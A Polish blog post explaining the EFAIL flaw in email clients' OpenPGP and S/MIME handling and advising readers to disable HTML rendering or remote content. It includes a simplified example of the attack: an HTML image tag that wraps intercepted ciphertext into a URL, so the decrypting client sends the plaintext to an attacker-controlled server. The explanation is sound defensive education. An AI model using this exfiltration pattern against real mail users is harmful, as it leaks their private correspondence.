Choć sam zazwyczaj nie korzystam z szyfrowania treści przesyłanych wiadomości e-mail (oczywiście korzystam z szyfrowanego połączenia IMAP/SMTP), to raz na jakiś czas (z różnych przyczyn) z taką korespondencją mam do czynienia. Nie korzystam, dlatego, że zazwyczaj nie mam takiej potrzeby, a gdy potrzebuję wymienić „tajne sekrety”, to korzystam z innych metod/sposobów, które są dużo wygodniejsze i prostsze w użyciu. Szyfrowanie wiadomości za pomocą np. OpenPGP, choć jest relatywnie skomplikowane, to jest bezpieczne. A przynajmniej było…

EFAIL, czyli atak na implementacje OpenGPG i S/MIME

I tak niemieccy badacze (bezpieczeństwa) opublikowali pracę dotyczącą podatności w implementacji OpenPGP oraz S/MIME, używanych do szyfrowania (treści) wiadomości e-mail. Na szczęście wygląda na to, że nie jest to atak na samo OpenPGP, co bardziej na implementację w popularnych programach pocztowych i dodatkach do nich, pozwalających korzystać z szyfrowania wiadomości.

Podatne są najpopularniejsze programy (i wtyczki do nich) na wszystkie popularne platformy (Windows, Linux, macOS, iOS, Android), oraz… webmaile i aplikacje webowe.

Atak dzięki (obsłudze) wiadomości HTML

Dokładne szczegóły ataku/podatności zostały dość dobrze opisane na stronie poświęcanej podatności (a jakby inaczej… tak, jest też logo ;-)), oraz w raporcie dostępnym w formie pliku PDF (21 stron).

W skrócie wygląda to tak:

  • Atakujący musi zdobyć zaszyfrowaną wiadomość e-mail, której chce poznać treść
  • Na bazie tej wiadomości (cały czas jeszcze zaszyfrowana treść) tworzy kolejną wiadomość, odpowiednio spreparowaną
  • Tak przygotowaną wiadomość przesyła do osoby posiadającej klucz umożliwiający odszyfrowanie pierwotnej wiadomości
  • Podczas odczytu spreparowanej wiadomości przez osobę posiadającą klucz do odszyfrowania oryginalnej (przechwyconej i zaszyfrowanej) wiadomości dochodzi do ujawnienia jej treści atakującemu

Dzieje się tak dlatego, że podatne programy pocztowe, wtyczki, webmaile przetwarzają znaczniki HTML w wiadomościach e-mail, i właśnie w ten sposób dochodzi do wycieku treści.

Załóżmy, że wysyłam do znajomego wiadomość o treści:

Twoje hasło do systemu to NiezłaKaszanka

Załóżmy, że w formie zaszyfrowanej treść takiej wiadomości będzie wyglądać np. tak:

aHR0cHM6Ly93ZWJpbnNpZGVyLnBsL2tvbnRha3QvbmV3c2xldHRlci8

Atakujący przechwycił zaszyfrowaną treść, i na jej podstawie spreparował wiadomość, która (dla uproszczenia pomijam tu dodatkowe nagłówki, bo będzie tak łatwiej pokazać sam mechanizm podatności) może wyglądać np. tak:

<img src="https://webinsider.pl/efail/?sekretna-wiadomosc=
aHR0cHM6Ly93ZWJpbnNpZGVyLnBsL2tvbnRha3QvbmV3c2xldHRlci8
">

Jak widać – zaszyfrowana treść została wstawiona tak, że program pocztowy może zaszyfrowaną treść uznać za fragment adresu URL, z którego ma pobrać grafikę, która jest elementem wiadomości.

Na tym etapie atakujący jeszcze nic nie ma. Przynajmniej teoretycznie. Ale wystarczy, że tak spreparowaną wiadomość wyślę np. do mojego znajomego, który był pierwotnym (oryginalnym) adresatem zaszyfrowanej wiadomości (nagłówki od/do itp. są jawne), a który zapewne posiada odpowiedni klucz, pozwalający odszyfrować zaszyfrowaną treść (w końcu jest adresatem oryginalnej, zaszyfrowanej wiadomości ;-)).

I tutaj do gry wchodzą podatne programy, wtyczki i webmaile, które najpierw odszyfrowują zaszyfrowany fragment (oryginalna, zaszyfrowana treść):

<img src="https://webinsider.pl/efail/?sekretna-wiadomosc=
Twoje hasło do systemu to NiezłaKaszanka
">

A następnie próbują pobrać (wczytać) grafikę ze zdalnej lokalizacji, wywołując adres:

https://webinsider.pl/efail/?secretna-wiadomosc=Twoje%20hasło%20do%20systemu%20to%20NiezłaKaszanka

Tym sposobem przesyłają na zdalny serwer – kontrolowany przez atakującego – odszyfrowaną treść pierwotnie zaszyfrowanej wiadomości.

Wyłącz (przynajmniej tymczasowo) obsługę wiadomości w formacie HTML

Do momentu aż pojawią się odporne na błąd programy/wtyczki jedynym sensownym wyjściem wydaje się wyłączenie obsługi wiadomości HTML lub przynajmniej zablokowanie automatycznego pobierania/wczytywania zewnętrznych elementów.

Niestety, ale nie wystarczy, że w swoim programie pocztowym takiej zmiany dokona osoba wysyłająca wiadomość. Zmiana musi być dokonana przez wszystkie osoby biorące udział w wymianie zaszyfrowanej korespondencji (posiadające klucz pozwalający odszyfrować zaszyfrowaną treść), we wszystkich programach, na wszystkich urządzeniach.

(!) Zgłoś błąd na stronie
Pomogłem? To może postawisz mi wirtualną kawę?
LUTy dla D-Cinelike (DJI Mini 3 Pro, DJI Avata, OSMO Pocket) od MiniFly
Wdrożenie Omnibusa w sklepie na WooCommerce
Jak (legalnie) latać dronem w Kategorii Otwartej
Patryk